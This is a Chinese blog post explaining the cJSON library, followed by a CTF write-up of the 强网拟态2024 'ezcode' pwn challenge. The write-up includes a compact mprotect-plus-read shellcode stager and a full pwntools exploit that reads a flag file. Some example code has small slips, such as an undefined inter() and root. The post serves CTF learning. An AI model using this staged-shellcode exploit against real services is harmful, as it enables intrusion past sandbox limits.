cJSON学习-强网拟态2024《ezcode》

cJSON

前言

在打PWN题时偶尔会遇到有关JSON的pwn题,之前的强网拟态2024就遇到了,借此机会学习一下。

1. JSON

  1. JSON的简介:

    JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation)。但它并不是编程语言,而是一种可以在服务器和客户端之间传输的数据交换格式

  2. 合法的JSON的对象:

    {
         "name" : "张三"
     }
    

    对象内的格式是“key : value”,其中:

    • KEY必须是string型的
    • VALUE可以是合法的JSON数据类型(如:字符串,数值,对象,数组等等)

      合法JSON对象的示例:

      {
        "name" : "张三",
        "age"  : 18,
        "sex"  : "男"
      }
      
      {
        "class_name"    : "计科一班",
        "student_num"   : 2,
        "student_info"  : 
        [
            {
                "name"  : "张三",
                "age"   : 18,
                "sex"   : "男"
            },
            {
                "name"  : "李四",
                "age"   : 19,
                "sex"   : "男"
            }
        ]
      }
      

可以看见student_info是以数组的形式储存了两个对象。

2. cJSON

在做pwn题时,我们遇到的就是cJSON。

源码下载:https://www.aliyundrive.com/s/vms4mGLStGm

  1. cJSON是什么?
    • cJSON是一个轻量级的C语言JSON解析库,它能够将JSON格式的数据解析为C语言中的对象或数组,同时也能够将C语言的数据结构转换为JSON格式的字符串。
    • 它提供了一组函数和数据结构,使得在C语言中可以方便地处理JSON数据。
  2. cJSON的使用:
    1. 编译可执行文件:
      1. $ gcc *.c -o main -lm,会gcc当前目录下的所有.c文件,生成可执行文件 main
      2. 将 cJSON.c 打包成静态库 / 动态库,然后在编译 main.c 的时候将其链接上就可以了

cJSON结构体

typedef struct cJSON
{
  struct cJSON *next, *prev;
  struct cJSON *child;

  int type;

  char *valuestring;
  int valueint;
  double valuedouble;

  char *string;
} cJSON;
  • type:用于区分 JSON 类型
    • 0 表示 false
    • 1 表示 true
    • 2 表示 null
    • 3 表示 number
    • 4 表示 string
    • 5 表示 array
    • 6 表示 object
  • string :代表「键 / 值对」的键
  • value*:代表「键 / 值对」的值,搭配 type 使用
    • 只有当 type 值为 4 时,valuestring 字段才有效
    • 只有当 type 值为 3 时,valueint 或 valuedouble 字段才有效

3. 反序列化JSON字符串

正如cjson的介绍一般,cjson库使用来接收并处理json发送的数据。

下面有相关函数,也是pwn题需要我们留意的函数:

函数 解释说明 返回值
cJSON_Parse 将 JSON 字符串反序列化为 cJSON 结构体 cJSON *
cJSON_GetObjectItem 获取 JSON 对象中的指定项 cJSON *
cJSON_GetArrayItem 获取 JSON 数组中的第 i 个 JSON 项 cJSON *
cJSON_GetArraySize 获取 JSON 数组的大小(该数组中包含的 JSON 项个数) int
cJSON_Delete 删除 cJSON 结构体 void

示例:

#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON.c"

int main()
{
    char buf[0x100];
    puts("Input data which type is JSON:");
    read(0,buf,0x100);
    cJSON *ptr = cJSON_Parse(buf);
    printf("Creat_object:%s\n",cJSON_Print(ptr));

    // {
    //     "name" : "meimeng",
    //     "age" : 18,
    //     "sex" : "man!"
    // }

    if(ptr)
    {    puts("[s]print_object:");
        //正常来说对象里有的有的

        cJSON *pName = cJSON_GetObjectItem(ptr, "name");
        if(pName == NULL){
            puts("[e]Don`t find \"name\",error.");
            exit(0);
        }
        printf("name [%s]\n", pName->valuestring);

        cJSON *pAge = cJSON_GetObjectItem(ptr, "age");
        if(pAge == NULL){
            puts("[e]Don`t find \"age\",error.");
            exit(0);
        }
        printf("age  [%d]\n", pAge->valueint);

        cJSON *pSex = cJSON_GetObjectItem(ptr, "sex");
        if(pSex == NULL){
            puts("[e]Don`t find \"sex\",error.");
            exit(0);
        }
        printf("sex  [%s]\n", pSex->valuestring);
        //超出对象之外
        cJSON *pNN = cJSON_GetObjectItem(ptr, "NN");
        if(pNN == NULL){
            puts("[e]Don`t find \"NN\",error.");
            exit(0);
        }

    }
    else
    {
        puts("[e]cJSON_Parse,error.");
    }
}

这里我们用pwntools发送json数据包:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *
import json
#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']

elf = './CCJSON'
add = "127.0.0.1"
port = 39169
break_point = "b *main"
choice = 0
if choice == 0 :
    # p = process(elf)
    # gdb.attach(p,break_point)
    p = gdb.debug(elf,break_point)
else :
    p = remote(add,port)

JSON_DATA = {
    "name":"meimeng",
    "age":18,
    "sex":"man!"
}
p.sendline(json.dumps(JSON_DATA))

inter()

输出:

可以看见cJSON_Parse函数成功反序列化,然后cJSON_GetObjectItem输出对应的指定项,没有则返回NULL

4. 序列化cJSON结构体

函数 解释说明 返回值
cJSON_CreateObject 创建一个 object 类型的 JSON 项 cJSON *
cJSON_CreateArray 创建一个 array 类型的 JSON 项 cJSON *
cJSON_CreateString 创建一个值为 string 类型的 JSON 项 cJSON *
cJSON_CreateNumber 创建一个值为 number 类型的 JSON 项 cJSON *
cJSON_AddItemToObject 将 JSON 项添加到 object 中 void
cJSON_AddItemToArray 将 JSON 项添加到 array 中 void
cJSON_AddNumberToObject 创建一个值为 number 类型的 JSON 项并添加到 JSON 对象中 void
cJSON_AddStringToObject 创建一个值为 string 类型的 JSON 项并添加到 JSON 对象中 void
cJSON_Print 将 cJSON 结构体序列化为 JSON 字符串(有格式) char *
cJSON_PrintUnformatted 将 cJSON 结构体序列化为 JSON 字符串(无格式) char *
cJSON_Delete 删除 cJSON 结构体 void

示例:

cJSON * GetJsonData(char *name,int age,char * sex)
{
    cJSON *root = cJSON_CreateObject();
        cJSON_AddStringToObject(root,"name",name) ;
        cJSON_AddNumberToObject(root, "age", age);
        cJSON_AddStringToObject(root,"sex",sex);
        return root;
}

用这个替换我们的输入,

#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON.c"

cJSON * GetJsonData(char *name,int age,char * sex)
{
    cJSON *root = cJSON_CreateObject();
        cJSON_AddStringToObject(root,"name",name) ;
        cJSON_AddNumberToObject(root, "age", age);
        cJSON_AddStringToObject(root,"sex",sex);
        return root;
}

int main()
{
    char buf[0x100];
    cJSON *ptr = GetJsonData("meimeng",18,"man!");
    printf("Creat_object:%s\n",cJSON_Print(ptr));

    // {
    //     "name" : "meimeng",
    //     "age" : 18,
    //     "sex" : "man!"
    // }
    if(ptr)
    {    puts("[s]print_object:");

        cJSON *pName = cJSON_GetObjectItem(ptr, "name");
        if(pName == NULL){
            puts("[e]Don`t find \"name\",error.");
            exit(0);
        }
        printf("name [%s]\n", pName->valuestring);

        cJSON *pAge = cJSON_GetObjectItem(ptr, "age");
        if(pAge == NULL){
            puts("[e]Don`t find \"age\",error.");
            exit(0);
        }
        printf("age  [%d]\n", pAge->valueint);

        cJSON *pSex = cJSON_GetObjectItem(ptr, "sex");
        if(pSex == NULL){
            puts("[e]Don`t find \"sex\",error.");
            exit(0);
        }
        printf("sex  [%s]\n", pSex->valuestring);
        cJSON_Delete(root);
    }
    else
    {
        puts("[e]cJSON_Parse,error.");
    }
}

然后输出为:

5. 打PWN题示例:

用ida打开可执行文件看看:

可以看见ida只是识别不了结构体,其他都正常识别。可以美化ida或者看类型识别输出的是哪部分内容。

typedef struct cJSON
{
  struct cJSON *next, *prev;//0x0
  struct cJSON *child;//0x10

  int type;//0x18

  char *valuestring;//0x20
  int valueint;//0x28
  double valuedouble;//0x30

  char *string;//0x38
} cJSON;

例题:

强网拟态2024:《ezcode》


摘要:

  1. 保护全开
  2. 开启沙盒,只禁用了excve
  3. 输入带有shellocde项的数据json
  4. 以十六进制数的方式”%2hhx”读入shellcode到0x9998000地址处,这也解释了为何len会>>1
  5. jmp的地址只有可执行权限

已收集信息:

  1. 发送以十六进制数string类型的shellcode为项的json数据
  2. shellocde长度最大为0x16字节
  3. 执行shellcode的地址处只有可执行权限

思路:只有可执行权限且最多0x16字节的shellcode,根本打不了正常的orw,我们需要扩充shellcode的长度,则需要执行read(0,0x9998000+xx,len)执行这一步的前提是需要有可读权限,则需要调用mprotect去更改权限。总得来说,我们需要在0x16字节内完成mprotect+read的操作。

shellcode的设置

  1. 尽量使用寄存器的低位,如eax,ax,dl,ch
  2. mov dx,7占字节数较多,但寄存器与寄存器之间的mov较短
  3. 目标能省则省,最终凑出mprotect+read

寄存器:

shellcode:

payload =asm(
'''
shl edi, 12;
mov ax, 0xa;
lea edx, [rax-3];
syscall;
xor eax, eax;
xor edi, edi;
mov dl, 0xff;
mov esi, ecx;
syscall;
'''

弄完这一步后随后就发送正常的orw即可,最好恢复一下rsp,否则用push和pop操作的shellcraft会报错。

两次syscall:


exp:

from pwn import *
import json
# context(os='linux', arch='mips',endian="little", log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
context.terminal = ['byobu', 'sp', '-h']

# file_name
file_name = "./pwn3"
url = ""
port = 1111

fgets_b = 0x15B3
call_b = 0x18A6
b_string =""
b_slice = [
fgets_b,
call_b
]
for i in b_slice:
    b_string += f"b *$rebase({i})\n"
# 以什么方式启动
# elf = ELF(file_name)
# p= process(file_name)
# gdb.attach(p,"b *0x9998000")
p = gdb.debug(file_name,b_string)
# p = remote("pwn-8ac388efdb.challenge.xctf.org.cn", 9999, ssl=True)

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda  : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))

def send(content):
    form = {
    "shellcode":content.hex()
    }
    sl(json.dumps(form))

payload =asm(
'''
shl edi, 12;
mov ax, 0xa;
lea edx, [rax-3];
syscall;
xor eax, eax;
xor edi, edi;
mov dl, 0xff;
mov esi, ecx;
syscall;
'''
,arch='amd64')
temp = payload
send(payload)

shellcode = asm(
'''
mov rax, 2
mov rdi, 0x999800c
xor rsi, rsi
syscall

mov rax, 0
mov rdi, 3
mov rsi, 0x9998800
mov rdx, 0x30
syscall

mov rax, 1
mov rdi, 1
mov rsi, 0x9998800
mov rdx, 0x30
syscall
''',arch = 'amd64')
sl((b'./flag\x00\x00\x00\x00'+shellcode).ljust(0xff,b'\x90'))
ia()
3 条评论
某人
表情
可输入 255